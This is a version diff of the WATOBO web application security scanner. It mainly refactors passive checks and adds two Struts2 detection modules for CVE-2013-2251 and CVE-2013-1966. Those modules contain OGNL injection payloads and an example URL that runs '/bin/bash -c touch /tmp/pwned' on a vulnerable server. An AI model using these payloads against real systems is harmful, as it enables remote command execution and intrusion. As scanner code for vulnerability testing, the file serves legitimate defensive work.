watobo 0.9.14 → 0.9.15

data/lib/watobo/mixins/shapers.rb

@@ -27,13 +27,11 @@ module Watobo#:nodoc: all
         include Watobo::Constants
         def replace_post_parm(parm,value)
           parm_quoted = Regexp.quote(parm)
-          self.last.gsub!(/([?&]{0,1})#{parm_quoted}=([0-9a-zA-Z\-\._,+<>\%!=]*)(&{0,1})/i, "\\1#{parm}=#{value}\\3")
+          self.last.gsub!(/([?&]{0,1})#{parm_quoted}=([^&]*)(&{0,1})/i, "\\1#{parm}=#{value}\\3")
         end
 
         def replace_get_parm(parm,value)
           parm_quoted = Regexp.quote(parm)
-          # puts "replacing parameter #{parm} with value #{value}"
-          # self.first.gsub!(/([?&]{0,1})#{parm}=([0-9a-zA-Z\-\._,+<>\%!=]*)(&{0,1})/i, "\\1#{parm}=#{value}\\3")
           self.first.gsub!(/([?&]{1})#{parm_quoted}=([^ &]*)(&{0,1})/i, "\\1#{parm}=#{value}\\3")
         end
 
@@ -42,7 +40,6 @@ module Watobo#:nodoc: all
         end
 
         def replaceFileExt(new_file)
-          #   puts "replace element #{new_element}"
           begin
             file = new_file.strip
             file.gsub!(/^\//, "")
@@ -53,9 +50,8 @@ module Watobo#:nodoc: all
         end
 
         def replaceElement(new_element)
-          #   puts "replace element #{new_element}"
           new_element.gsub!(/^\//, "")
-          self.first.gsub!(/(.*\/)(.*) (HTTP.*)/i,"\\1#{new_element} \\3")
+          self.first.gsub!(/([^\?]*\/)(.*) (HTTP.*)/i,"\\1#{new_element} \\3")
         end
 
         def replaceURL(new_url)
@@ -370,7 +366,7 @@ module Watobo#:nodoc: all
           begin
             new_header = "#{header}: #{value}\r\n"
           self.each_with_index do |h, i|
-            if h =~ /^#{Regexp.quote(header)}:/
+            if h =~ /^#{Regexp.quote(header)}:/i
               h.replace(new_header)
               return true
             end

data/lib/watobo.rb

@@ -23,6 +23,7 @@
 #Encoding: UTF-8
 require 'rubygems'
 require 'yaml'
+require 'json'
 require 'thread'
 require 'socket'
 require 'timeout'
@@ -63,7 +64,7 @@ dont_know_why_REQUIRE_hangs = Mechanize.new
 # @private 
 module Watobo#:nodoc: all #:nodoc: all
 
-  VERSION = "0.9.14"
+  VERSION = "0.9.15"
 
   def self.base_directory
     @base_directory ||= ""

data/modules/active/domino/domino_db.rb

@@ -35,7 +35,7 @@ module Watobo#:nodoc: all
             :description => "Enumeration of well known Domino DBs.",   # description of checkfunction
             :author => "Andreas Schmidt", # author of check
             :check_group => AC_GROUP_DOMINO,
-            :version => "0.9"   # check version
+            :version => "1.0"   # check version
             )
             
             @finding.update(
@@ -69,16 +69,14 @@ module Watobo#:nodoc: all
           
           def generateChecks(chat)            
             begin              
-              if chat.request.url.to_s =~ /(.*)\/\w*\.nsf/ then
+             # if chat.request.url.to_s =~ /(.*)\/\w*\.nsf/ then
                 @domino_dbs.each do |db|
                   checker = proc{
                     test_request = nil
                     test_response = nil
                     test = chat.copyRequest
-                    line = test.shift
-                    line.gsub!(/(\w*\.nsf.*) (HTTP\/.*)/, "#{db} \\2")
-                   # puts line
-                    test.unshift line
+                    
+                    test.replaceFileExt db
                     
                     test_request,test_response = doRequest(test,:default => true)
                     
@@ -110,7 +108,7 @@ module Watobo#:nodoc: all
                   }
                   yield checker
                 end
-              end            
+              #end            
             rescue => bang
               puts bang
               puts "ERROR!! #{Module.nesting[0].name}"

data/modules/active/struts2/default_handler_ognl.rb

@@ -0,0 +1,128 @@
+# .
+# default_handler_ognl.rb
+# 
+# Copyright 2013 by siberas, http://www.siberas.de
+# 
+# This file is part of WATOBO (Web Application Tool Box)
+#        http://watobo.sourceforge.com
+# 
+# WATOBO is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2 of the License.
+# 
+# WATOBO is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with WATOBO; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# .
+# @private 
+module Watobo#:nodoc: all
+  module Modules
+    module Active
+      module Struts2
+        
+        
+        class Default_handler_ognl < Watobo::ActiveCheck
+           @@tested_directories = Hash.new
+          
+          threat =<<'EOF'
+A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution
+
+Source: http://struts.apache.org/release/2.3.x/docs/s2-016.html
+CVE: CVE-2013-2251
+EOF
+
+#
+            details =<<'EOD'           
+Example for code execution:
+http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
+EOD
+
+            
+            measure = "Update Struts2 to version >2.3.15.1"
+            
+            @info.update(
+                         :check_name => 'Struts2 default handlers',    # name of check which briefly describes functionality, will be used for tree and progress views
+            :check_group => "Struts",
+            :description => "Check for struts2 default handlers which doesn't sanitize parameters.",   # description of checkfunction
+            :author => "Andreas Schmidt", # author of check
+            :version => "1.0"   # check version
+            )
+            
+            @finding.update(
+                            :threat => threat,        # thread of vulnerability, e.g. loss of information
+                            :class => "Struts2 - default handlers",    # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
+            :type => FINDING_TYPE_VULN,         # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
+            :rating => VULN_RATING_CRITICAL,
+            :measure => measure,
+            :details => details
+            )
+          
+          def initialize(project, prefs={})
+            super(project, prefs)
+            
+           @vuln_handlers = %w( action redirect redirectAction)
+            
+            def reset
+               @@tested_directories.clear
+            end
+            
+            
+          end
+          
+          
+          def generateChecks(chat)    
+            begin   
+              # 
+             path = chat.request.dir
+             return true if @@tested_directories.has_key?(path)
+             
+             @@tested_directories[path] = true
+             @vuln_handlers.each do |handler|
+                checker = proc {
+                  results = {}
+                  request = nil
+                  response = nil
+                  test_request = chat.copyRequest
+                     
+                  test_value = '?' + CGI::escape("#{handler}:watobo_%{10000-1}")
+                  
+                  test_request.replaceElement test_value
+                  
+                  request, response = doRequest(test_request)
+                  
+                  if response.headers.select{|h| h =~ /^Location:.*(_9999)/}.length > 0
+                      
+                      addFinding( request, response,
+                                 :check_pattern => test_value,
+                                 :proof_pattern => "Location:.*_9999",
+                                 :test_item => handler,
+                                 :chat => chat,
+                                 :title => "[#{request.dir}] - #{handler}"
+                      )
+                  end
+                   
+                    [ request, response ]
+                  }
+                  yield checker
+               
+              end
+              
+            rescue => bang
+              puts bang
+              puts bang.backtrace if $DEBUG
+              puts "ERROR!! #{Module.nesting[0].name}"
+              raise
+            end
+          end
+          
+        end
+        
+      end
+    end
+  end
+end

data/modules/active/struts2/include_params_ognl.rb

@@ -0,0 +1,127 @@
+# .
+# include_params_ognl.rb
+# 
+# Copyright 2013 by siberas, http://www.siberas.de
+# 
+# This file is part of WATOBO (Web Application Tool Box)
+#        http://watobo.sourceforge.com
+# 
+# WATOBO is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2 of the License.
+# 
+# WATOBO is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with WATOBO; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# .
+# @private 
+module Watobo#:nodoc: all
+  module Modules
+    module Active
+      module Struts2
+        
+        
+        class Include_params_ognl < Watobo::ActiveCheck
+          
+          threat =<<'EOF'
+A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
+
+Source: http://struts.apache.org/release/2.3.x/docs/s2-013.html
+CVE: CVE-2013-1966
+EOF
+
+#
+            details =<<'EOD'           
+Example for code execution:
+http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
+EOD
+
+            
+            measure = "Update Struts2 to version >2.3.14"
+            
+            @info.update(
+                         :check_name => 'Struts2 includeParams',    # name of check which briefly describes functionality, will be used for tree and progress views
+            :check_group => "Struts",
+            :description => "Check for vulnerable includeParams attribute.",   # description of checkfunction
+            :author => "Andreas Schmidt", # author of check
+            :version => "1.0"   # check version
+            )
+            
+            @finding.update(
+                            :threat => threat,        # thread of vulnerability, e.g. loss of information
+                            :class => "Struts2 - includeParams",    # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
+            :type => FINDING_TYPE_VULN,         # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
+            :rating => VULN_RATING_CRITICAL,
+            :measure => measure,
+            :details => details
+            )
+          
+          def initialize(project, prefs={})
+            super(project, prefs)
+            
+          end
+          
+          
+          def generateChecks(chat)    
+            begin   
+
+                checker = proc {
+                  results = {}
+                  request = nil
+                  response = nil
+                  test_request = chat.copyRequest
+                     
+                  
+                  test_value = "%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(INJ),#writer.close())}"
+                  marks = [ "INJ" , Time.now.to_i.to_s ]
+                  
+                  inj_str = marks.map{|m| "'#{m}'"}.join("+")
+                  
+                  test_value.gsub!(/INJ/, inj_str)
+                  
+                  tparam = Watobo::UrlParameter.new( :name => "watobo", :value => CGI::escape(test_value) )
+                  
+                  test_request.url.set tparam
+                  puts test_request.first
+                  
+                  request, response = doRequest(test_request)
+                  
+                  if response.respond_to? :body
+                    unless response.body.nil?
+                       body = response.body.unpack("C*").pack("C*")
+                       #puts body
+                       proof = marks.join
+                       if response.body.to_s =~ /#{proof}/
+                           addFinding( request, response,
+                                 :check_pattern => CGI::escape(test_value),
+                                 :proof_pattern => "#{proof}",
+                                 :chat => chat,
+                                 :title => "[includeParams] - #{request.file}"
+                                 )
+                       end
+                    end
+                  end
+                   
+                    [ request, response ]
+                  }
+                  yield checker
+              
+            rescue => bang
+              puts bang
+              puts bang.backtrace if $DEBUG
+              puts "ERROR!! #{Module.nesting[0].name}"
+              raise
+            end
+          end
+          
+        end
+        
+      end
+    end
+  end
+end

data/modules/passive/ajax.rb

@@ -51,18 +51,20 @@ module Watobo#:nodoc: all
         end
         
         def showError(chatid, message)
-          puts "!!! Error"  
+          puts "!!! Error #{Module.nesting[0].name}"  
           puts "Chat: [#{chatid}]"
           puts message
         end
         
         def do_test(chat)
           begin
-
+            return false if chat.response.nil?
+            return false unless chat.response.has_body?
             return true unless chat.response.content_type =~ /(text|script)/ 
             
             @fw_patterns.each do |pattern|
-              if chat.response.body =~ /#{pattern[:pattern]}/i then
+              body = chat.response.body.unpack("C*").pack("C*")
+              if body =~ /#{pattern[:pattern]}/i then
                version = $1.strip
                addFinding(
                            :check_pattern => "#{pattern[:pattern]}", 

data/modules/passive/detect_infrastructure.rb

@@ -70,10 +70,9 @@ module Watobo#:nodoc: all
             #   puts "body" + chat.response.body.join
             return if chat.response.nil? or chat.response.body.nil?
             if chat.response.content_type =~ /text/ then
-              
+                body = chat.response.body.unpack("C*").pack("C*")
                 @pattern_list.each do |pat|
-
-                  if chat.response.join =~ /(#{pat[1]})/i then
+                  if body =~ /(#{pat[1]})/i then
                     #   puts "!!! MATCH !!!"
                     match = $1
                     addFinding(

data/modules/passive/dirindexing.rb

@@ -61,12 +61,14 @@ module Watobo#:nodoc: all
         def do_test(chat)
           begin
             @pattern_list.each do |pat|
-              if  chat.response.body =~ /(#{pat})/i then
-                match = $1
-                addFinding(  
-                           :proof_pattern => "#{match}", 
-                :chat => chat,
-                :title => "/#{chat.request.path}"
+              next unless chat.response.has_body?
+               body = chat.response.body.unpack("C*").pack("C*")
+               if body =~ /(#{pat})/i then
+                 match = $1
+                 addFinding(  
+                           :proof_pattern => "#{match}",
+                           :chat => chat,
+                           :title => "/#{chat.request.path}"
                 )
               end
             end      

data/modules/passive/disclosure_emails.rb

@@ -45,29 +45,28 @@ module Watobo#:nodoc: all
           )
           
           valid = '[a-zA-Z\d\.+-]+'
-          @pattern = "#{valid}@#{valid}\\.(#{valid}){2}"
+          @pattern = "(#{valid}@#{valid}\\.(#{valid}){2})"
           @mail_list = []
         end
         
         def do_test(chat)
           begin
             #  puts "running module: #{Module.nesting[0].name}"
+            return false if chat.response.nil?
+            return false unless chat.response.has_body?
             if chat.response.content_type =~ /text/ and not chat.response.content_type =~ /text.csv/ then
-            if chat.response.each do |line|
-                if line =~ /(#{@pattern})/ then
-                  match = $1
-                  if not @mail_list.include?(match) then
+              body = chat.response.body.unpack("C*").pack("C*")
+              body.scan(/#{@pattern}/) { |m|
+                  match = m.first
+                  unless @mail_list.include?(match) then
                     @mail_list.push match
                     addFinding( 
-                                         :proof_pattern => "#{match}", 
-                                         :chat => chat,
-                                         :title => match
-                                         )
-                                         end
-                end
-                
-              end
-            end
+                                :proof_pattern => "#{match}", 
+                                :chat => chat,
+                                :title => match
+                                )
+                  end
+              }
             end
           rescue => bang
           #  raise

data/modules/passive/disclosure_ipaddr.rb

@@ -45,22 +45,25 @@ module Watobo#:nodoc: all
             )
           
           @pattern = '[^\d\.](\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[^(\d\.)]+?'
+          
           @known_ips = []
         end
         
         def do_test(chat)
           begin
             #  puts "running module: #{Module.nesting[0].name}"
+            return false if chat.response.nil?
+            return false unless chat.response.has_body?
             if chat.response.content_type =~ /text/ then
-              if chat.response.each do |line|
-                  if line =~ /#{@pattern}/ then
-                    ip_addr = $1
-                    octets = ip_addr.split('.')
-                    isIP = true
-                    octets.each do |o|
+               body = chat.response.body.unpack("C*").pack("C*")
+               body.scan(/#{@pattern}/) { |match|
+                  ip_addr = match.first
+                  octets = ip_addr.split('.')
+                  isIP = true
+                  octets.each do |o|
                       isIP = false if o.to_i > 255 
-                    end
-                    if isIP then
+                  end
+                  if isIP then
                     title = "IP: #{ip_addr}"
                     dummy = chat.request.site + ":" + ip_addr
                     if not @known_ips.include?(dummy)
@@ -69,11 +72,8 @@ module Watobo#:nodoc: all
                                   :title => title)  
                       @known_ips.push dummy
                     end
-                    end
-                  end
-                  
-                end
-              end
+                  end                  
+             }
             end
           rescue => bang
             #  raise

data/modules/passive/hotspots.rb

@@ -54,9 +54,12 @@ module Watobo#:nodoc: all
         def do_test(chat)
           begin
             #  puts "running module: #{Module.nesting[0].name}"
+            return false if chat.response.nil?
+            return false unless chat.response.has_body?
             if chat.response.content_type =~ /(text|script)/ and chat.response.status !~ /404/ then
-              if chat.response.each do |chunk|
-                  chunk.split(/\n/).each do |line|
+             
+              body = chat.response.body.unpack("C*").pack("C*")
+                body.split(/\n/).each do |line|
                     @pattern_list.each do |ext|
                       if line =~ /([\w%\/\\\.:-]*\.#{ext})[^\w]/ then
                         match = $1
@@ -71,8 +74,6 @@ module Watobo#:nodoc: all
                           @known_functions.push match
                         end
                       end                  
-                    end
-                  end
                 end
               end
             end
@@ -80,6 +81,7 @@ module Watobo#:nodoc: all
             #  raise
             puts "ERROR!! #{Module.nesting[0].name}"
             puts bang
+            puts bang.backtrace
           end
         end
       end

data/modules/passive/in_script_parameter.rb

@@ -48,42 +48,48 @@ module Watobo#:nodoc: all
         end
         
         def showError(chatid, message)
-          puts "!!! Error"  
+          puts "!!! Error #{Module.nesting[0].name}"  
           puts "Chat: [#{chatid}]"
           puts message
         end
         
         def do_test(chat)
           begin
-            parm_values = []
             minlen = 3
-            return true unless chat.response.content_type =~ /(text|script)/ 
-            chat.request.get_parm_names.each do |parm|              
-              pv = Regexp.quote(chat.request.get_parm_value(parm))
-              parm_values.push pv unless pv.strip.empty? or pv.strip.length < minlen
-            end
-            chat.request.post_parm_names.each do |parm|
-              pv = chat.request.post_parm_value(parm)
-              parm_values.push pv unless pv.strip.empty? or pv.strip.length < minlen
-            end
+            return true unless chat.response.content_type =~ /(text|script)/
+            return true unless chat.response.has_body?
+            
+            parm_list = chat.request.parameters(:data, :url)
+            return true if parm_list.empty?
+            body = chat.response.body.unpack("C*").pack("C*")
             
-            parm_values.each do |parm_value|
-              
-              pattern = Regexp.quote(CGI.unescape(parm_value))
-              if chat.response.body =~ /<script[^<\/]*#{pattern}/i then
+            doc = Nokogiri::HTML(body)
+            scripts = doc.css('script')
+            
+            parm_list.each do |parm|
+              next if parm.value.nil?
+              next if parm.value.empty?
+              next if parm.value.length <= minlen
+                            
+              pattern = Regexp.quote(CGI.unescape(parm.value))
+              scripts.each do |script|
+              if script.text =~ /#{pattern}/i then
                # puts "* Found: Parameter within script"
                 addFinding(
-                           :check_pattern => "#{parm_value}", 
-                :proof_pattern => "#{parm_value}",
-                :chat=>chat,
-                :title =>"[#{parm_value}] - #{chat.request.path}"
+                           :check_pattern => "#{parm.value}", 
+                           :proof_pattern => "#{parm.value}",
+                           :chat=>chat,
+                           :title =>"[#{parm.value}] - #{chat.request.path}"
                 )
+              end
                 
               end
             end
           rescue => bang
             # raise
             showError(chat.id, bang)
+            #puts bang.backtrace
+            
           end
         end
         

data/modules/passive/redirectionz.rb

@@ -45,7 +45,7 @@ module Watobo#:nodoc: all
         end
         
         def showError(chatid, message)
-          puts "!!! Error"  
+          puts "!!! Error #{Module.nesting[0].name}"  
           puts "Chat: [#{chatid}]"
           puts message
         end